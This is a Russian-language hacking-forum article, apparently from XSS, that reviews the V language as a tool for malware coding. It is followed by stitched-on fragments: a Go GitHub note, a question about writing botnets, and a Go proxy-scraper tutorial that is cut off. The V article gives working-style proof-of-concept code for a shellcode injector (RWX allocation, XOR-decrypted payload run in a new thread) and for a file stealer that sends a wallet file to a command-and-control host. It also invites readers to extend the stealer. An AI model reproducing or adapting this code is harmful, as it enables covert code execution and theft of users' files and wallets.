Как читатель уже понял по отрывкам кода, V - язык со статической типизацией. При этом типизация является слабой, короче говоря в этом плане ничего необычного.
При этом (осторожно, очень субъективное мнение) язык показался мне очень обмазанным синтаксическим сахаром и как будто больше похожим не на язык, а на какой-то большой фреймворк/бойлерплейт, в который попытались запихнуть все существующие в различных языках фичи.
Тут тебе и паттерн матчинг, и лямбды, и генераторы, и много очень отдающих питоном конструкций. Но на удивление, все это очень удачно впихнулось и даже работает. Я честно, когда читал доксы был уверен, что это будет монструозная штука, но нет, все вполне органично. Писать на языке комфортно.
Пробежимся по основам.
Переменные
Code:Copy to clipboard
name := 'Bob'
age := 20
large_number := i64(9999999999)
Это дефолтный и единственный способ определить переменную, и это скорее плюс
чем минус для начинающих кодеров - переменная всегда инициализирована, что
исключает целый класс связанных с этим ошибок.
Все переменные по дефолту иммутабельны, если хотим изменять значение - нужно
явно указать это при инициализации
Code:Copy to clipboard
mut x := 1
x = 2
println("x equals ${x}")
// 2
Глобальных переменных нет. Ну точнее они есть, но определяются весьма специфичным синтаксисом и требуют указать специальный флаг при компиляции. Спасибо, говнокода будет явно меньше.
Шэдоуинга тоже нет, и вот это уже неприятно - будьте так любезны, используйте разные имена для разных переменных.
Флоу
У нас есть if
Code:Copy to clipboard
a := 10
b := 20
if a < b {
println('${a} < ${b}')
} else if a > b {
println('${a} > ${b}')
} else {
println('${a} == ${b}')
}
// 10 < 20
И у нас есть мэтч, который можно использовать как стандартный паттерн матчинг, так и как альтернативу для ветвящегося if-else
Code:Copy to clipboard
number := 2
str := match number {
1 { 'one' }
2 { 'two' }
else { 'many' }
}
println(str) // two
match true {
2 > 4 { println('if') }
3 == 4 { println('else if') }
2 == 2 { println('else if2') }
else { println('else') }
}
// else if2
Циклы
Цикл у нас аж целый один, но зато какой.
Цикл for используется для всяких разных ситуаций и заменяет нам все другие
варианты циклов. Например, итерация по списку, словарю, а также по диапазону
выглядят вот так:
Code:Copy to clipboard
numbers := [1, 2, 3]
for num in numbers {
println(num)
}
// 1
// 2
// 3
names := ['Sam', 'Peter']
for i, name in names {
println('${i + 1}. ${name}')
}
// 1. Sam
// 2. Peter
m := {
'one': 1
'two': 2
}
for key, value in m {
println('${key} -> ${value}')
}
// one -> 1
// two -> 2
for i in 0 .. 5 {
print(i)
}
// 01234
А вот аналог цикла while:
Code:Copy to clipboard
mut sum := 0
mut i := 0
for i <= 100 {
sum += i
i++
}
println(sum) // 5050
А вот бесконечный цикл, из которого нужно выходить ручками с помощью break:
Code:Copy to clipboard
mut num := 0
for {
num += 2
if num >= 10 {
break
}
}
println(num) // 10
Или например классический цикл for в стиле аналогичного Сишного:
Code:Copy to clipboard
for i := 0; i < 10; i += 2 {
if i == 6 {
continue
}
println(i)
}
// 0
// 2
// 4
// 8
На бумаге выглядело как дичь, на практике же оказалось весьма удобно. Хочешь итерировать - берешь for.
Функции
Code:Copy to clipboard
fn add(x int, y int) int {
return x + y
}
Есть возможность работать с функциями как с объектами первого порядка (и есть подводный камень с которого меня бомбануло)
Code:Copy to clipboard
fn main() {
double_fn := fn (n int) int {
return n + n
}
println(double_fn(5)) // 10
}
С первого взгляда может сложиться впечатление, что V - мультипарадигмальный язык, и наличие анонимных функций и паттерн матчинга как бы намекает, что мы можем писать на нем в функциональном стиле. И тут меня ждал неприятный сюрприз.
Вложенные функции не поддерживаются. То есть, возвращаясь к избитому примеру с факториалом - вот так написать нельзя:
Code:Copy to clipboard
fn fact (n int) int {
fn quick_fact (n int, result int) {
if n <=1 {
return result
} else {
return quick_fact(n - 1, n * result)
}
}
return quick_fact(n, 1)
}
Внутренюю функцию придется или вынести наружу, или же придумать какой-то другой алгоритм.
Замыкания тоже присутствуют, но переменные которые мы хотим передать нужно указывать явно. Что как бы тоже вызывает некоторые вопросики.
Словари
Словари тоже являются строго типизированными:
Code:Copy to clipboard
m := {
'one': 1
'two': 2
}
Это словарь с сигнатурой map[string]int, а значит ключи в нем - только строки, а значения - только числа. Если нужна вложенность, придется явно задавать тип.
Это хорошо в плане чистоты кода, и вместе с тем это бесконечно бесит при работе с json, которым наш современный мир обмазан чуть более чем полностью. Для парсинга данных с большой вложенностью придется или определять структуру явно, или выдергивать нужные данные используя грязные хаки. Вкусовщина конечно, но лично мне такой подход не очень нравится.
Взаимодействие с С
Как мы уже выяснили ранее, V - это метаязык, и отсюда достаточно логичный напрашивается вывод - неплохо бы ему обладать сильной связью с таргет платформой, то есть с Си. И эта связь таки есть.
Глобально, Ви обладает двумя интересными фичами в плане взаимодействия (естественно если мы упустим классический ffi, оно то понятно что само собой имеется). Ви позволяет нам писать полноценные полиглот проекты, то есть дергать сишный код и библиотеки, и встраивать в наш проект на Ви.
Например, вот так включается код:
Code:Copy to clipboard
#flag -I @VMODROOT/c
#flag @VMODROOT/c/implementation.o
#include "header.h"
Блок unsafe позволяет нам дергать сишные типы, а также приводить сишные данные к их аналогам в V.
Есть даже специальный инструмент под названием C2V, который позволяет транслировать сишный код в код на V. Особенность - получается действительно не лапша, а адекватный читаемы код.
Пример:
Вот такой небольшой кусок кода:
C:Copy to clipboard
#include "stdio.h"
int main() {
for (int i = 0; i < 10; i++) {
printf("hello world\n");
}
return 0;
}
Транслируется вот в такое:
Code:Copy to clipboard
fn main() {
for i := 0; i < 10; i++ {
println('hello world')
}
}
Делается все это с помощью встроенной команды "v translate test.c".
Разработчики также очень гордятся этим фактом и написали даже серию постов о
том, как они успешно транслировали игру Doom.
Итак, вернемся к двум подходам.
Подход первый - транслировать сишный код в его эквивалент на Ви. Получаем
проект на чистом Ви и комфортно разрабатываем дальше, по сути это гуд практика
для автоматизации перевода каких то старых проектов или кусков кода и
приведения всего к единой кодовой базе.
Подход второй - обертки. Как я выше уже отметил, у Ви есть возможность дергать сишный код as is и работать с ним. Соответственно, можно генерировать обертки и использовать биндинги.
Подходы по сути эквивалентны и какой из них применять - сугубо дело вкуса. Рекомендуется делать так: если у вас хороший годный код на С, он протестирован и точно работает как надо - делайте обертку. Если у вас какой-то непонятный код на С, но он вам очень нужен, также как и нужна возможность кросс компиляции, профайлинга и других фич Ви идущих из коробки - тогда транслируйте в Ви и работайте с этим языком.
И вброшу сразу ложку дегтя для читателей, которые уже раскатали губу и выкачивают слитые сорцы паблик малвари в надежде транслировать ее целиком в новый язык в одну команду. Так к сожалению не получится. Трансляция в Ви - это по сути большой ящик проводов, который вам все равно придется подключать самостоятельно, то есть транслировать, тестить и переводить кодовую базу файл за файлом, а возможно даже функция за функцией.
Вопрос целесообразности соответственно возникает как раз на этом этапе, потому что как многие из нас уже знают на личном опыте - иногда проще, быстрее и дешевле сжечь все легаси напалмом и написать заново.
А можно немного асма?
Неожиданно, можно и вполне адекватно:
Code:Copy to clipboard
a := 100
b := 20
mut c := 0
asm amd64 {
mov eax, a
add eax, b
mov c, eax
; =r (c) as c // output
; r (a) as a // input
r (b) as b
}
println('a: ${a}') // 100
println('b: ${b}') // 20
println('c: ${c}') // 120
Не буду дальше развивать эту фичу, просто знайте что оно там есть и с этим можно поиграться и возможно что-то интересное придумать.
PoC Shellcode Injector
Заинжектим немножко шеллкода, посмотрим как это выглядит и работает.
Делаем это в очень базовом формате (все таки пруф ов концепт, извините,
сисколлов не завезли), но даже на этом примере будет хорошо видно как ви
взаимодействует с си, а также как он работает с указателями.
Создаем проект на V с помощью команды v init, проваливаемся в сорцы и открываем main.v в нашем любимом текстовом редакторе.
Для начала импортируем все необходимые нам функции:
Code:Copy to clipboard
module main
import time
#flag -luser32
#flag -lkernel32
fn C.VirtualAlloc(voidptr, u32, u32, u32) voidptr
fn C.RtlMoveMemory(voidptr, voidptr, u32)
fn C.CreateThread(voidptr, u32, voidptr, voidptr, u32, &u32) voidptr
Тут все достаточно базово и дефолтно - мы планируем выделить немножко памяти, записать туда наш шеллкод и создадим новый тред.
Наша основная функция мейн будет выглядеть вот так:
Code:Copy to clipboard
fn main() {
shellcode := []
inject(shellcode)
}
Тут мы собственно планируем по-спартански захардкодить шеллкод в переменную с многозначительным названием shellcode и заинжектить его, вызвав функцию с не менее многозначительным названием inject.
Собственно, давайте напишем ее реализацию:
Code:Copy to clipboard
fn inject(shellcode []byte) bool {
// Allocate some mmr
address_pointer := C.VirtualAlloc(voidptr(0), usize(sizeof(shellcode)), 0x3000, 0x40)
// write shellcode
C.RtlMoveMemory(address_pointer, shellcode.data, shellcode.len)
// create remote thread
C.CreateThread(voidptr(0), u32(0), voidptr(address_pointer), voidptr(0), 0, &u32(0))
time.sleep(1 * time.second)
return true
}
Тоже все достаточно просто, неправда ли? Что наимпортировали из сишечки, то и подергали в нужном порядке.
Давайте для полноты картины еще поксорим наш пейлоад, чтобы посмотреть хоть немного на код на V, а то получилась совсем какая-то калька.
Реализуем функцию xor, в которой создадим массив фиксированного размера (по длине нашего шеллкода). Затем пробежимся циклом for и поксорим.
Code:Copy to clipboard
fn xor(shellcode []byte, key []byte) []byte {
mut output := []byte{cap: shellcode.len}
for index, element in shellcode {
output << element ^ key[index % key.len]
}
return output
}
Ну и соответственно подправим немного нашу функцию мейн:
Code:Copy to clipboard
fn main() {
key := "onelovexss"
encrypted_payload := [ byte(0xb8), 0xa8, 0xcd, ...]
decrypted_payload := xor(encrypted_payload, key.bytes())
inject(decrypted_payload)
}
Тут есть два момента, на которых я бы хотел сакцентировать внимание:
Во-первых, V использует snake_case для названий функций и переменных, но использует camelCase для именования типов и структур. И это прям на уровне транслятора, при неправильном использовании код может не скомпилиться (без шуток).
Во-вторых, обратите внимание на первый элемент в массиве с нашим шеллкодом - byte(0xb8). Тут мы явно указываем тип элемента, чтобы Ви понял, что это именно байты. При этом тип мы явно указываем только у первого элемента, потому что V
PoC Stealer
Окей, с шеллкодом наигрались, давайте попробуем собрать простенький стиллачок.
Сразу к вопросу терминологии, а также вопросу рыбы и удочки. Стиллер в моей картине мира - это программное обеспечение, которое берет какую-то информацию с удаленной машины пользователя и отправляет ее на целевую машину. Поэтому концептуально, если мы возьмем любой файл и отправим его по сети - то вдумчивый читатель сможет повторить эту процедуру для любых интересующих его файлов, и получится та самая удочка.
Поехали, пишем.
Первым делом как обычно, импортнем все нужное:
Code:Copy to clipboard
module main
import os
import net.http
import compress.gzip
Ничего лишнего, ведь нам нужно всего лишь прочитать, сжать и отправить.
Далее реализуем три вспомогательные функции для этих задач:
Code:Copy to clipboard
fn try_to_steal (filepath string) []u8 {
file_data := os.read_bytes(filepath) or { [] }
return file_data
}
fn compress_stolen_data (data []u8) []u8 {
compressed_data := gzip.compress(data) or { [] }
return compressed_data
}
fn send_data_to_c2 (data []u8, c2_domain string) bool {
response := http.post(c2_domain, data.hex()) or { return false }
return true
}
В этом коде из того, что мы не видели ранее, только конструкция для работы с исключениями "... or { }".
Концепция очень простая - бывают функции, которые точно возвращают значение нужного нам типа (например суммирование двух целых чисел точно вернет нам целое число). А бывают функции, которые могут вернуть значение, а может что-то там пойти не так.
В нашем случае - например, файла по заданному пути может не быть. В таком случае, V предлагает свою киллер фичу, а именно - возможность хэндлить все ошибки без нагромождения try-catch.
Мы просто заранее знаем, в каких функциях что-то может пойти не так и явно указываем это в типе возвращаемого значения. Когда мы вызываем эту функцию, мы обязательно должны или сразу хэндлить ошибку с помощью конструкции or, или вызывать функцию с восклицательным знаком в конце, тем самым давая компилятору понять, что мы в курсе потенциальных ошибок и нам как бы пофигу, кернел паник так кернел паник.
На самом деле тоже большой плюс за это, поскольку программа без такой обработки ошибок просто не компилируется. А значит хочешь не хочешь - хэндли ошибки, думай, пиши рабочий код.
Окей, а теперь соберем все в кучу в нашей функции main:
Code:Copy to clipboard
fn main() {
c2 := 'YOUR_C2_DOMAIN'
file_to_steal := '/users/patrick/desktop/wallet.txt'
data := try_to_steal(file_to_steal)
if data != empty {
send_data_to_c2(compress_stolen_data(data), c2)
}
}
Из того что нам еще не встречалось - слово empty, которое обозначает ни что иное, как пустой список.
Здесь как обычно еще много над чем стоит поработать (помимо очевидного - вписать путь до нужных файлов и адрес панели), и это я оставлю в качестве пищи для ума вдумчивому и желающему попрактиковаться читателю.
Как минимум - реализовать рекурсивный сбор файлов, поиск по маскам и параллельность выполнения.
Кстати, о параллельности...
Многозадачность в V
Как вы наверное уже поняли, очень много фич перекочевали, находятся в процессе переноса или уже запланированы из широко известного языка Go. Подход к многозадачности у Ви тоже позаимствован оттуда.
Итак, для того чтобы распараллелить вычисления, в Ви запланировано два подхода:
Первый - это стандартные треды. Создаются специальным словом spawn, которое указывается перед вызовом функции (именованной или анонимной, без разницы):
Code:Copy to clipboard
import math
fn main() {
spawn fn (a f64, b f64) {
c := math.sqrt(a * a + b * b)
println(c)
}(3, 4)
}
Второй подход - это корутины, о аналогии с Го. Которые к сожалению еще не реализованы, но уже запланированы по самое не балуй - есть даже ключевое слово go (которое в текущей реализации автоматически заменяется на spawn при компиляции).
Ну и в целом, влияние Го ощутимо - есть весь джентльменский конкурентный набор
Это очень здорово и качественно реализовано из коробки, что автоматически делает Ви пригодным для класса задач, где нужно что-то очень быстро и паралельно делать, например, с файлами на диске (тут обойдемся без примеров, кто понял тот понял).
Вообще, создатели прилагают очень много усилий для того, чтобы с ростом и развитием кодовой базы V оставался не только чистым в плане синтаксиса, но и сохранял свою скорость выполнения. Пока удается, и бенчмарки это подтверждают, Ви все еще весьма быстрый.
Экосистема
Как мы уже говорили ранее, в V идет очень много всего, что называется "из коробки", что делает разработку на этом языке более продуктивной и мощной. Давайте уделим немного времени экосистеме языка Ви, и посмотрим, что уже реализовано и входит в стандартную поставку, выделим некоторые ключевые инструменты, а также скажу пару слов про пакетный менеджер vpm.
VPM: Пакетный Менеджер V
VPM (V Package Manager) - это официальный пакетный менеджер V, который
упрощает управление зависимостями и пакетами в проектах на V. Он ставится
сразу в дефолтной поставке, и вы скорее всего его даже не заметите, потому что
пакеты ставятся командой "v install ...".
Вообще, поймал себя на мысли, что вот эта вот концепция прятать все вызовы
вспомогательных инструментов за основной исполняемый файл - как минимум очень
интересная и какая-то нативная что ли.
Вот некоторые из возможностей пакетного менеджера:
Установка и Обновление: С VPM вы можете легко устанавливать новые пакеты и обновлять существующие. И обновлять все пакеты целиком в одну команду (передаю привет, мой горячо любимый и обожаемый pip, менеджер пакетов для великого и могучего, который до сих пор этого не может)
Управление Зависимостями: VPM позволяет вам управлять зависимостями вашего проекта, включая разрешение конфликтов зависимостей.
Создание Собственных Пакетов: Вы можете создавать свои собственные пакеты и публиковать их для использования другими разработчиками. И это делается, как и все в V - легко и просто, без лишнего геммора.
*Интеграция с Git: VPM интегрируется с Git, что делает легкой установку пакетов из репозиториев Git. Ну, если совсем честно, vpm построен поверх гита, поэтому очевидно что указать partick.awesome_package вместо полного пути к репозиторию было достаточно логичным решением
В целом, подход V к либам следующий - зачем изобретать велосипед (в плане организации экосистемы и бизнес-процессов), если уже есть гит, уже есть npm и уже с десяток языков с точно таким же подходом, и все в один голос говорят что да, это удобно.
Также есть vpkg - это такой аналог пакетного менеджера для установки библиотек локально для конкретного приложения (что тоже мастхэв в современном мире, скажет любой программист, кто хоть раз разруливал конфликты версий библиотек).
Итого, имеем весьма-весьма жирную стандартную библиотеку (жирную не в плане веса, а в плане богатую, там действительно есть практически все необходимое для современного разработчика) и построенный по проторенной дорожке менеджер пакетов vpm.
Библиотеки, Внесенные Сообществом
Сообщество разработчиков V активно вносит вклад, создавая различные библиотеки
и инструменты для разработки. Некоторые популярные библиотеки и инструменты,
разработанные сообществом, включают:
Vtui: Это библиотека для создания текстовых пользовательских интерфейсов в терминале. Она позволяет создавать интерактивные консольные приложения.
Vex: Эта библиотека предоставляет собой веб фреймворк (у ви есть дефолтный Vweb, но он такой, весьма специфичный для 2023 года)
Vui: Это библиотека для создания пользовательских интерфейсов, легкая и кроссплатформенная.
Vsl: Эта библиотека предоставляет доступ к огромной базе всякого сайнтифик специфичного. Аналог других научных либ из других языков. На удивление, сделана достаточно качественно и даже имеет свой собственный, отдельный сайт.
Vtl: Это библиотека для работы с тензорными вычислениями. Не знаю насколько это практично и применимо в реальной жизни, когда питон плотно занял нишу ИИ и двигаться не планирует, но лучше с ней чем без нее верно?
Итого, имеем весьма, прямо весьма прилично сделанные либы, а также удобное управление всем этим зоопарком по дефолту.
Ложка дегтя, или трудности и ограничения V
Хотя V предоставляет множество преимуществ, есть и некоторые особенности и ограничения, с которыми разработчики могут столкнуться при использовании этого языка. Некоторые из них связаны с текущим состоянием языка, другие же, что называется "by design", а значит с ними придется смириться и как-то взаимодействовать (ну или нет, в гараже всегда есть старый добрый Форт).
Первое: V - Молодой Язык
V - молодой язык, и это означает, что экосистема и инструменты развиваются. Это приводит и к ограниченному набору библиотек и инструментов, и к другим неприятным особенностям.
В реальном мире это выглядит так - если вы писали какой-то софт на V и словили ошибку, есть ненулевая вероятность, что вы единственный человек на всей планете, кто ее словил. И вам не поможет ровным счетом никто, придется ковыряться в сорцах и выяснять что не так.
Какие-то вещи все еще не доделаны, какие-то находятся на стадии тестирования. Какие-то сделаны абы как, чтобы просто было, потом вернемся и переделаем нормально (да-да-да).
Для языка, которому 4 года V офигенный, но в абсолютном сравнении он конечно еще очень молод и проходит через стадию "молочного" языка.
Второе - Ограниченная Документация
Как следствие из предыдущего пунка, документация V все еще находится в процессе разработки, и не всегда можно найти подробные сведения о том, как использовать определенные функции или библиотеки.
Да, она полная и достаточно красиво оформленная. Это что касается доксов по языку (core language) и стандартной библиотеке. Но чем дальше мы отходим от стдлибы, тем хуже и хуже документация. Вплоть до того, что на сайте vpm топовые пакеты могут быть вообще без документации - залезь в сорцы и сам разберись, что там как я накодил и как этим пользоваться.
Для опытных товарищей не страшно, а новичков конечно отпугнет. Ну и я молчу о том, что естественно никакой первой страницы стэковерфлоу вам не светит в решении возникающих в процессе разработки вопросов.
Третье - десигн by Golang
У меня есть знакомые, которые большую часть кода на работе пишут на Golang. Большинству не нравится. И вопрос тут не к конкретным людям или задачам, вопрос именно в языке.
Как вы наверное заметили, V как и Go - очень "безопасный" язык. В том плане, что шансов выстрелить себе в ногу меньше с каждым релизом. И это к сожалению, накладывает свой отпечаток.
Проблема в том, что Go разрабатывался корпорацией для корпораций, как язык в котором есть ровно один способ сделать что-то, этот способ работает как надо, и шагать влево-вправо от канона - это вы там в своих стартапах на Эликсире пожалуйста, а у нас тут кровавый энтерпрайз. И как следствие, для работы с таким языком не нужны уберпрограммисты - можно посадить много средненьких индусов и они будут писать код.
Это зашибись для корпораций, но к сожалению абсолютно убивает творчество и развитие разработчика. Именно поэтому многие хейтят Го и превозносят Раст - хочется свободы, творчества и самовыражения.
И к сожалению, я вижу что V идет этим же путем.
Очень-очень хочется, чтобы V не превратился в подобие "Го для самых
маленьких", а все таки пошел своей дорогой.
Четвертое - макросы
Коротко - их нет. Вообще нет. Прям совсем нет.
Даже в разделе FAQ в репозитории написано - ребята, макросов нет и не будет никогда в V, потому что мы хотим сохранить язык простым, а с макросами каждый разработчик сможет расширять синтаксис по своему усмотрению, и невозможно будет сразу понять, что происходит в программе.
(Осторожно, опять очень субъективное мнение)
Макросы достаточно сложны для понимания, еще сложнее для написания, но при
этом открывают возможности для создания DSL и заточки языка под свои
конкретные задачи. Ну и позволяют код морфить как боженька, но про это сейчас
не будем, это тема для отдельной статьи.
И вот вопрос - в языке нет макросов, потому что они усложнят код. Но при этом сам язык - это по сути метаязык, в котором еще и синтаксического сахара и новых модных конструкций до кучи. Так почему бы не добавить поддержку макросов в язык? Nim же добавил и все ок, никто не помер от невозможности разобраться в чужом коде.
Лично для меня - большой минус, так как ставит крест на адекватном морфинге из коробки, и придется в очередной раз изобретать велосипед.
Заключение
Статья вышла достаточно большой, я думаю пора уже закругляться.
Мы успели познакомиться с языком программирования V, посмотреть на него с
разных сторон и через призму конкретно наших специфичных задач. Разобрали
синтаксические особенности, плюсы и минусы, а также набросали парочку
концептов - инжектор шелл кода и стилер.
Что хочу сказать в итоге. V - молодой, но достаточно интересный язык.
Честно, я думаю именно такие языки отлично подходят в качестве первого языка
для изучения - потому что способов отстрелить себе ногу очень мало, язык
приучает тебя к определенным стандартам с самого начала и прививает культуру
кодинга: форматируй, не используй глобалы, следи за типами и так далее. И
вместе с тем - не перегруженный синтаксис.
Мне очень понравилась целостность языка и как в нем организованы многие моменты - порог входа и кривая обучения будут очень мягкие, когда язык чуть повзрослеет (пока все-таки недостаточно обучающих материалов).
Также понравилась кросс компиляция из коробки и маленький вес файлов на выходе.
Те моменты, которые мне не понравились - во многом или моя личная вкусовщина и стиль кодинга, или связаны с молодостью языка и вполне могут нивелироваться в будущем.
В общем и целом, я думаю что V имеет все шансы для того, чтобы вслед за Nim дать глоток свежего воздуха в мир малваре кодинга и очень рекомендую как минимум пощупать его. Хуже точно не будет.
А я на этом прощаюсь со всеми.
С вами как обычно был Патрик, специально для XSS.
Буду рад вашим комментариям, пишите что вы думаете про V и про какой язык
хотели бы прочитать в следующей статье.
Всем пис.
I have some of my GoLANG projects on my github for people looking into GoLANG.
https://github.com/SaturnsVoid
Some projects are old and not coded the best as i was new to the language, but i am adding more and am working on a larger project to release too. Some of my projects available are;
На каком языке лучше всего писать ботнеты, rat, и вообще с чего начать писать malware?
Источник:XSS.is
Автор BlameUself
JavaScript - очень классный язык
программирования, но сегодня речь пойдет не о нем.
У меня давно возникали мысли об изучении Go, этот язык привлекал меня
простотой работы с потоками, большими возможностями работы с сетью, высокой
скоростью и лаконичным стилем. Я считаю, что выбор этого языка в качестве
первого - весьма плохая идея, поскольку большинство обучающих ресурсов
предполагают знакомство с программированием в целом, не фокусируясь на
мелочах. Официальная документация-знакомство будет достаточно понятной, если
вы ранее работали с C-подобными ЯП. Вы можете начать с нее, и пусть некоторые
концепции будут реализованы иначе, чем в вашем языке, в целом все объяснено
очень круто и все обучение понятно - Tour of Go - https://go.dev/tour/list.
Также, я могу порекомендовать курс:
Отличный преподаватель, у него также есть простой курс по сетевым
протоколам. Далее, вы
можете посетить канал - https://www.youtube.com/@nikolay_tuzov, там очень
много проектов на Go.
В этой статье я постараюсь описывать код с точки зрения новичков, но в то же
время статья содержит код рабочего прокси-парсера/чекера, и если вас
интересует проект, вы найдете исходники здесь.
Для того чтобы начать, скачиваем и устанавливаем с официального сайта Go - https://go.dev/doc/install, проверяем все ли корректно установилось командой go version в терминале. Работать мы будем в VS Code, перед началом добавляем расширение для комфортной работы - https://marketplace.visualstudio.com/items?itemName=golang.Go
Итак, наша задача состоит в том, чтобы получать данные с сайтов, которые
содержат списки бесплатных прокси. Очевидно, что многие из них не будут
работать в целом или для определенного ресурса. Так что далее нам необходимо
проверять их способность к подключению к желаемому ресурсу.
Декомпозируем задачу. План работ следующий:
Первым сайтом, с которого мы будем получать данные, будет <https://free-proxy-
list.net/>. Данные, которые меня интересуют, это ipAddress:port.
Поскольку в сущности софт будет универсальный, и в него можно будет добавить
дополнительные ссылки с сайтами, на которых находятся прокси, нам необходим
универсальный способ получения информации, и конечно же, таким выступят
регулярные выражения.
Переходим в IDE:
C-like:Copy to clipboard
package main
import (
"fmt"
"io"
"net/http"
"regexp"
)
func main() {
resp, err := http.Get("https://free-proxy-list.net/")
if err != nil {
fmt.Println("Error on page fetch:", err)
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading the page content:", err)
return
}
re := regexp.MustCompile(`\d+\.\d+\.\d+\.\d+:\d+`)
proxies := re.FindAllString(string(body), -1)
fmt.Println("Found Proxies:")
for _, proxy := range proxies {
fmt.Println(proxy)
}
}
Импортируем пакеты. Нам понадобится fmt для вывода лога полученных данных
в терминал. Пакет io предоставляет базовые интерфейсы для операций ввода-
вывода. В данном случае он используется для чтения ответа от HTTP-запроса. Для
выполнения HTTP-запросов и обработки ответов используем пакет net/http , а
пакет regexp предоставляет функциональность для работы с регулярными
выражениями.
Код довольно простой. Сперва мы выполняем HTTP GET-запрос по указанному URL,
возвращая ответ и ошибку, если таковая возникла. Затем обрабатываем
потенциальную ошибку, завершая работу программы в случае таковой. После
успешного выполнения запроса используется defer , чтобы отложить
выполнение операции закрытия тела ответа (resp.Body.Close()) до тех пор,
пока функция main() не завершится, и оптимизировать ресурсы. defer -
уникальное ключевое слово для языка Go. В этой статье можно узнать больше об
этом - [ссылка на
статью](https://www.digitalocean.com/community/tutorials/understanding-defer-
in-go#introduction). Затем мы читаем тело ответа (это тот HTML-код, который вы
увидите, если нажмете Ctrl+U в Chrome) с помощью io.ReadAll(). Результат
чтения записывается в переменную body , а любая ошибка, которая может
возникнуть в процессе чтения, проверяется также, как и при GET-запросе. Далее
создается регулярное выражение с помощью regexp.MustCompile() , которое
будет использоваться для поиска IP-адресов и портов в тексте страницы. Я уже
рекомендовал книгу " Изучаем регулярные выражения" - Бен Форта, она все
также прекрасна. Логика в данном случае очень простая: IP-адрес представляет
собой последовательность цифр, обычно ограниченную количеством цифр, но в
целом это некоторое количество цифр, точка и так четыре раза, затем идет
двоеточие и снова цифры. Символ "d+" обозначает одно или более вхождений
десятичной цифры (0-9). Итак, регулярное выражение выглядит так:
\\d+\\.\\d+\\.\\d+\\.\\d+:\\d+. Вызываем метод
re.FindAllString(string(body), -1) для поиска всех соответствий
регулярному выражению. Он возвращает срез строк, содержащих найденные прокси.
string(body) - это преобразование содержимого тела ответа, которое
изначально представлено в виде среза байтов, в строку. -1 - это параметр,
который указывает методу FindAllString() , что нужно найти все
соответствия регулярному выражению в строке. Итерируемся по всем элементам
среза proxies с помощью цикла for и выводим их в консоль.
Отлично, продолжаем. На данный момент мы загрузили ссылку на сайт. Для
масштабирования приложения нам необходимо вынести ссылки в файл, из которого
мы сможем их брать и, при необходимости, добавлять новые. Также нам необходимо
сохранять результаты за пределами вывода в консоль, в данном случае мы будем
делать это в текстовый файл.
Я создам файл links.txt в корне проекта и помещу туда на данный момент лишь
одну ссылку на https://free-proxy-list.net/. Переходим в VS Code.
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"io"
"net/http"
"os"
"regexp"
)
func main() {
file, err := os.Open("links.txt")
if err != nil {
fmt.Println("Error opening the file:", err)
return
}
defer file.Close()
outFile, err := os.Create("notChecks.txt")
if err != nil {
fmt.Println("Error creating the output file:", err)
return
}
defer outFile.Close()
writer := bufio.NewWriter(outFile)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
url := scanner.Text()
resp, err := http.Get(url)
if err != nil {
fmt.Println("Error on page fetch:", err)
continue
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading the page content:", err)
continue
}
re := regexp.MustCompile(`\d+\.\d+\.\d+\.\d+:\d+`)
proxies := re.FindAllString(string(body), -1)
for _, proxy := range proxies {
fmt.Fprintln(writer, proxy)
}
}
if err := scanner.Err(); err != nil {
fmt.Println("Error reading the file:", err)
}
writer.Flush()
}
Подключаем несколько дополнительных пакетов - bufio и os. bufio
предоставляет функциональность для буферизованного чтения и записи данных, а
os предоставляет функции для работы с операционной системой.
Сначала мы открываем файл "links.txt", в который заранее добавили ссылки, и
как обычно обрабатываем ошибки. Поскольку это будут непроверенные прокси, я
выбрал название для файла, куда они будут сохраняться, "notChecks.txt”.
Следовательно, далее в коде мы создаем данный файл, и если такой уже
существует, мы просто перезаписываем его содержимое. Используем
bufio.NewWriter() для создания writer'а, который будет использоваться для
записи в "notChecks.txt". В цикле for scanner.Scan() проходимся по каждой
строке в файле "links.txt". Для каждой строки выполняем HTTP-запрос
(http.Get(url)), также как и делали ранее. В данном случае логика
обработки ошибок будет несколько иная, нам не следует прекращать работу
программы, ибо если одна из десятков ссылок по каким-то причинам будет
проблемной, мы все равно хотим получить результат из девяти других, поэтому
используем continue и логируем ошибку. Снова итерируем по элементам среза
proxies , но в этот раз используем fmt.Fprintln(writer, proxy) для
записи в файл. После завершения чтения всех URL-адресов из файла, происходит
проверка наличия ошибок и их вывод в консоль. Логирование достаточно понятное
и помогает отбросить лишние ссылки. В целом, если мы хотим больше данных,
следует их также сохранять в отдельный файл, добавив время проверки.
Использование writer.Flush() гарантирует, что все данные будут записаны в
файл перед завершением работы программы.
Проверяем работу программы - все отлично. Добавляю еще одну ссылку
https://proxyspace.pro/socks4.txt, и получаю результат:
Поскольку IP-адреса вероятно будут пересекаться между ресурсами, нам необходимо устранять дубликаты. Я сразу вспомнил о такой структуре данных, как хеш-таблица. Поскольку мой первый язык программирования был JavaScript, я сразу подумал о структуре данных set, но таковой в Go не предусмотрено. Однако мы можем создать set из map.
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"io"
"net/http"
"os"
"regexp"
)
func main() {
file, err := os.Open("links.txt")
if err != nil {
fmt.Println("Error opening the file:", err)
return
}
defer file.Close()
outFile, err := os.Create("notChecks.txt")
if err != nil {
fmt.Println("Error creating the output file:", err)
return
}
defer outFile.Close()
writer := bufio.NewWriter(outFile)
scanner := bufio.NewScanner(file)
uniqueProxies := make(map[string]bool)
for scanner.Scan() {
url := scanner.Text()
resp, err := http.Get(url)
if err != nil {
fmt.Println("Error on page fetch:", err)
continue
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading the page content:", err)
continue
}
re := regexp.MustCompile(`\d+\.\d+\.\d+\.\d+:\d+`)
proxies := re.FindAllString(string(body), -1)
for _, proxy := range proxies {
if _, exists := uniqueProxies[proxy]; !exists {
uniqueProxies[proxy] = true
fmt.Fprintln(writer, proxy)
}
}
}
if err := scanner.Err(); err != nil {
fmt.Println("Error reading the file:", err)
}
writer.Flush()
}
Итак, создаем мапу uniqueProxies := make(map[string]bool). Напомню, что
карты (map) в Go представляют собой набор пар ключ-значение. В данном случае
ключами будут строки (прокси адреса), а значениями будут булевы значения. В
цикле for _, proxy := range proxies мы проходимся по адресам и проверяем,
